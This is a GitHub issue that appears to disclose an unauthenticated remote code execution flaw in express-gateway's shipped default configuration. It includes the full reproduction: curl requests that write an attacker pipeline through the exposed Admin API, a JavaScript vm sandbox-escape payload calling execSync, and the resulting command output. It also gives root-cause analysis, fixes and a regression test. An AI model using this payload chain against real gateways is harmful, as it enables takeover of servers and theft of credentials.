Skip to content

# Unauthenticated Admin API via shipped default config → arbitrary config write → Remote Code Execution #717

Open

Description

@BL4CK570RM

Shipped default configuration exposes the Admin API on the public gateway with no authentication → unauthenticated config write → remote code execution

Version : express-gateway 1.16.10 (HEAD a294cac)
Type    : Missing authentication / insecure default / code injection
Weakness: CWE-306 (primary), CWE-1188, CWE-94, CWE-693
Severity: CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
Status  : Reproduced 2026-10-03 against a byte-identical pristine default configuration

Summary

Three weak defaults in the shipped package combine into unauthenticated remote code execution:

  1. lib/config/gateway.config.yml publishes the Admin API as a catch-all endpoint on the public
    gateway listener, with key-auth commented out.
  2. The Admin API (lib/rest/index.js) has no authentication middleware at all.
  3. An anonymous PUT is written to disk and hot-reloaded by chokidar within ~1 second, so an
    attacker-written pipeline becomes live without a restart.

The pipeline that runs the code is the built-in expression policy, whose vm.runInNewContext
evaluation is escapable, so attacker-controlled JavaScript runs OS commands inside the gateway
process. The exploit is three HTTP requests; the one that prints shell output is a plain GET.


Affected component

# File Problem
1 lib/config/gateway.config.yml host: '*' catch-all apiEndpoint + serviceEndpoints.backend: http://localhost:9876 + adminAPI pipeline with key-auth commented out
2 lib/rest/index.js:19-43 Admin Express app mounts 10 route groups with no auth middleware
3 lib/config/index.js:4-5 EG_CONFIG_DIR unset ⇒ silently adopts the package's own insecure config
4 lib/gateway/context.js:30-32 vm.runInNewContext used as an execution boundary
5 lib/config/config.js:106-118, 89-104 updateGatewayConfig() writes the file; chokidar watch ⇒ hot-reload
6 lib/policies/expression/expression.js req.egContext.run(actionParams.jscode) on every matching request

Listener scope: gateway on *:8080 (all interfaces), Admin API on [::1]:9876 only — so the
proxy, not the Admin bind address, is the exposure.


Description

The shipped gateway.config.yml contains this topology:

apiEndpoints:
  api:
    host: '*'                                    # line 11 — catch-all, no path restriction
serviceEndpoints:
  backend:
    url: 'http://localhost:9876'                 # line 14 — "btw this is EG admin API"
pipelines:
  adminAPI:
    apiEndpoints: [ api ]
    policies:
      # - key-auth: # uncomment to enable key-auth   # line 23 — authentication disabled
      - proxy:
          action:
            serviceEndpoint: backend

The Admin server itself only ever installs one middleware:

$ grep -n 'app.use(' lib/rest/index.js
21:  app.use(express.json());                 <- the ONLY middleware
34:  app.use('/users', require('./routes/users')());
41:  app.use('/pipelines', require('./routes/pipelines')({ config }));
42:  app.use('/policies', require('./routes/policies')({ config }));
…

grep -lEi 'authorization|authenticate|bearer' lib/rest matches 0 files.

Because every request is proxied to :9876, an anonymous remote caller can read every consumer
record and — more importantly — write gateway configuration, which chokidar reloads in place.


Root cause

# Location Defect
1 lib/config/gateway.config.yml:11,14,23 Insecure-by-default topology: catch-all endpoint, Admin proxied, key-auth disabled
2 lib/rest/index.js:19-43 No authentication before the route table
3 lib/config/index.js:4-5 Silent fallback to the package's own config when EG_CONFIG_DIR is unset
4 lib/gateway/context.js:30-32 vm treated as a sandbox
5 lib/config/config.js:106-118, 89-104 Unprivileged config write + implicit hot-reload

The root cause is the combination: an unauthenticated control plane reachable through an
unauthenticated data plane, whose output (config) is executable code.


Preconditions

  • Network reachability to the gateway HTTP listener (default 0.0.0.0:8080).
  • Gateway started from the shipped default config — i.e. EG_CONFIG_DIR unset (npm start,
    node lib/index.js, Dockerfile-master).
  • Not required: Redis (shipped default emulate: true), admin credentials, restart, TLS,
    user interaction, knowledge of internal hostnames.

Steps to reproduce

Environment: Kali Linux 6.19.14+kali-amd64, Node v24.19.0, LAN 192.168.233.130.
Config copy proven byte-identical to the shipped file before the run:
sha256 170ddfced63dbb92614fd51eaa19721cee9f5d610833e47ca8fef83652cf5275
Transcript: /tmp/opencode/reverify-ac-evidence.txt

[1] Start from the shipped config

rm -rf /tmp/eg && cp -r lib/config /tmp/eg
cmp lib/config/gateway.config.yml /tmp/eg/gateway.config.yml   # BYTE IDENTICAL
EG_CONFIG_DIR=/tmp/eg node lib/index.js                        # gateway *:8080, admin [::1]:9876

[2] Unauthenticated remote READ through the gateway port (no Authorization, no cookie)

$ curl -i http://192.168.233.130:8080/users
HTTP/1.1 200 OK
content-type: application/json; charset=utf-8
content-length: 24

$ curl -s http://192.168.233.130:8080/users
{"users":[],"nextKey":0}

[3] Confirm the Admin listener itself is loopback-only (isolates the proxy as the exposure)

http://192.168.233.130:9876/users  ->  refused
127.0.0.1:9876                     ->  refused   [binds IPv6 loopback only]
[::1]:9876                         ->  200

[4] Unauthenticated config WRITE #1 — enable the expression policy

$ curl -i -X PUT http://192.168.233.130:8080/policies/expression
HTTP/1.1 200 OK
… gateway.log: "change event on …/gateway.config.yml … hot-reload config completed"

[5] Unauthenticated config WRITE #2 — inject a pipeline that runs OS commands

$ curl -i -X PUT http://192.168.233.130:8080/pipelines/pwn \
    -H 'Content-Type: application/json' -d '{
      "apiEndpoints":["api"],
      "policies":[{"expression":{"action":{"jscode":
        "var cp=this.constructor.constructor('"'"'return process'"'"')().getBuiltinModule('"'"'child_process'"'"');this.res.send(cp.execSync('"'"'id'"'"').toString())"}}}]}'
HTTP/1.1 201 Created

[6] One unauthenticated GET executes code (remote LAN host)

$ curl -i http://192.168.233.130:8080/pwn
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

uid=1001(BL4CK_570RM) gid=1001(BL4CK_570RM) groups=1001(BL4CK_570RM),27(sudo),100(users),131(docker)

[7] Cross-context proof from a Docker container on the host bridge

$ docker run --rm alpine wget -qO- http://172.17.0.1:8080/pwn
uid=1001(BL4CK_570RM) gid=1001(BL4CK_570RM) groups=1001(BL4CK_570RM),27(sudo),100(users),131(docker)

[8] It is arbitrary command execution, not a one-shot id
(After injection the catch-all answers every gateway request, so the swap goes straight to the
loopback Admin API.)

PUT [::1]:9876/pipelines/pwn -> HTTP 204

$ curl -s http://192.168.233.130:8080/pwn
Linux PiratesOfTheDeathFlag 6.19.14+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.19.14-1+kali1 (2026-05-05) x86_64 GNU/Linux
BL4CK_570RM
/home/BL4CK_570RM/Desktop/cve/express-gateway

[9] Cleanup and restore

DELETE [::1]:9876/pipelines/pwn       -> HTTP 204
DELETE [::1]:9876/policies/expression -> HTTP 204
GET /pwn after cleanup                -> HTTP 404
  SEMANTIC EQUALITY AFTER CLEANUP: true
  pipelines present: [ 'adminAPI' ]
  policies present : [ 'proxy', 'key-auth' ]

Expected vs actual behavior

Expected Actual
Admin API requires authentication No authentication whatsoever — express.json() is the only middleware
Admin API bound to a private/loopback interface Published as host: '*' catch-all on the public gateway, key-auth disabled
Config writes restricted to authenticated operators Anonymous PUT persists to disk, hot-reloaded in ~1 s
expression evaluation bounded Escapes to the host realm → OS command execution
npm start safe by default Silently loads the package's own insecure config
Injected pipeline answers only its endpoint Answers every request, including admin-bound calls

Security impact

  • Unauthenticated RCE as the gateway OS user (uid=1001, member of docker and sudo).
  • Full confidentiality loss: GET /users, /apps, /credentials, /tokens, /scopes.
  • Full integrity loss: pipelines, endpoints, credentials, tokens, consumers.
  • Availability loss and traffic interception — the injected catch-all answers every request.
  • SSRF pivot via PUT /service-endpoints/:name, and via lib/schemas/index.js:10
    (loadSchema: uri => superagent.get(uri)) reachable through a written json-schema condition.

Source code analysis

lib/config/index.js:4-5      if (!process.env.EG_CONFIG_DIR) process.env.EG_CONFIG_DIR = __dirname;
lib/rest/index.js:21         app.use(express.json());              // only middleware
lib/rest/index.js:34-43      app.use('/users' | '/pipelines' | '/policies' | … )
lib/rest/routes/policies.js:9-21   updateGatewayConfig(req.params.name, req.body)
lib/rest/routes/pipelines.js:21-31 updateGatewayConfig(req.params.name, req.body)
lib/config/config.js:106-118 fs.writeFile(gatewayConfigPath, yaml)
lib/config/config.js:89-104  chokidar.watch(gatewayConfigPath).on('change', hotReload)
lib/policies/expression/expression.js  req.egContext.run(actionParams.jscode)
lib/gateway/context.js:30-32 vm.runInNewContext(action, sandbox)

Data flow:

[attacker :8080] --PUT /pipelines/pwn--> [gateway proxy] --proxy--> [Admin :9876]
                                          routes/pipelines.js -> updateGatewayConfig()
                                          -> yaml.dump -> gateway.config.yml
                                          -> chokidar -> hot-reload
[attacker :8080] --GET /pwn--> expression policy -> vm.runInNewContext(jscode)
                             -> constructor chain -> process -> child_process -> execSync()

Reproduction environment

Item Value
OS / arch Kali Linux, 6.19.14+kali-amd64, x86_64
Node.js / npm v24.19.0 / 11.19.0
Gateway instance EG_CONFIG_DIR=/tmp/eg node lib/index.js
Listeners gateway *:8080, admin [::1]:9876
Hosts used 127.0.0.1, ::1, 192.168.233.130 (LAN), 172.17.0.1 (docker0)
Docker proof local alpine, wget http://172.17.0.1:8080/pwn
Evidence /tmp/opencode/reverify-ac-evidence.txt, /tmp/opencode/finding-a-evidence.txt

No third-party or external system was contacted or tested at any point.


False-positive checks

Check Result
Baseline before injection GET /pwn → 404 (no pre-existing payload)
Direct Admin port from LAN refused — proves the proxy is the exposure
Published npm tarball different? No — sha256 identical in repo and npm pack extraction (.npmignore does not exclude lib/config)
eg gateway create templates affected? No — both use host: localhost, no adminAPI pipeline
Official Dockerfile affected? No — it copies the basic template. Dockerfile-master is (runs node lib/index.js with no EG_CONFIG_DIR)
Docs claim otherwise? Docs say the raw Admin API "should not be publically available" and recommend host: + key-auth — the shipped default diverges on both
Prior art Project issue tracker search (admin auth, expose admin, expression sandbox) → none; repository security-advisories endpoint → []

Suggested fix

  1. Delete the Admin proxy from the shipped config. Remove the adminAPI pipeline, the
    serviceEndpoints.backend: http://localhost:9876 entry and the host: '*' catch-all
    apiEndpoint from lib/config/gateway.config.yml.

  2. Authenticate the Admin server before mounting routes:

    // lib/rest/index.js — before the route table
    app.use((req, res, next) => {
      const token = process.env.EG_ADMIN_TOKEN;
      if (!token) return res.status(503).send('admin API disabled: no token configured');
      const got = (req.headers.authorization || '').replace(/^Bearer\s+/i, '');
      if (got !== token) return res.status(401).send('unauthorized');
      next();
    });
  3. Keep the Admin listener on loopback unless explicitly configured otherwise, and disable it
    entirely unless explicitly enabled (e.g. EG_ADMIN_ENABLED).

  4. Fail loudly when EG_CONFIG_DIR is unset instead of silently adopting the package config:

    if (!process.env.EG_CONFIG_DIR)
      throw new Error('EG_CONFIG_DIR must be set; refusing to start with the packaged config');
  5. Validate PUT /pipelines/:name bodies — reject jscode and arbitrary URLs unless an
    explicit "unsafe expressions" flag is set; require an explicit reload signal instead of
    implicit chokidar hot-reload for config writes.

  6. Replace vm.runInNewContext with a real sandbox (isolated-vm) or remove free-form
    JavaScript from configuration.

Operator mitigation (no code change): delete the adminAPI pipeline and
serviceEndpoints.backend, and front :8080 with a reverse proxy that authenticates and denies
/users, /apps, /credentials, /tokens, /scopes, /pipelines, /policies,
/api-endpoints, /service-endpoints, /schemas.


Regression test

// test/security/admin-api-auth.test.js
process.env.EG_DISABLE_CONFIG_WATCH = 'true';
const request = require('supertest'), assert = require('assert');

describe('SECURITY: Admin API must not be anonymously writable', () => {
  it('rejects anonymous PUT /policies/:name', async () => {
    const app = await require('../../lib/rest')({ plugins: {}, config: require('../../lib/config') });
    const r = await request(app).put('/policies/expression').send({});
    assert.ok([401, 403].includes(r.status), `got ${r.status}`);
  });
  it('rejects anonymous PUT /pipelines/:name', async () => {
    const app = await require('../../lib/rest')({ plugins: {}, config: require('../../lib/config') });
    const r = await request(app).put('/pipelines/pwn')
      .send({ apiEndpoints: ['api'], policies: [{ expression: { action: { jscode: '1' } } }] });
    assert.ok([401, 403].includes(r.status), `got ${r.status}`);
  });
  it('shipped gateway.config.yml has no pipeline proxying to the admin port', () => {
    const yaml = require('js-yaml'), fs = require('fs');
    const c = yaml.load(fs.readFileSync('lib/config/gateway.config.yml', 'utf8'));
    for (const ep of Object.values(c.serviceEndpoints || {})) {
      assert.ok(!/9876|admin/i.test(ep.url), `admin proxied: ${ep.url}`);
    }
    assert.ok(!Object.keys(c.apiEndpoints).some(k => c.apiEndpoints[k].host === '*'));
  });
});

Notes

  • Confirmed locally only. All traffic targeted 127.0.0.1, ::1, 192.168.233.130 and the
    local Docker bridge; no external system was contacted.
  • Novelty: no prior report of this finding in the project's issue tracker; the repository's
    security-advisories endpoint returns [].
  • Project status: officially deprecated/unmaintained (README notice, issue #1011).
  • Environment note: verified on Node v24.19.0 — process.getBuiltinModule was available in the
    payload; on older Node the same escape uses process.mainModule.require('child_process').

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions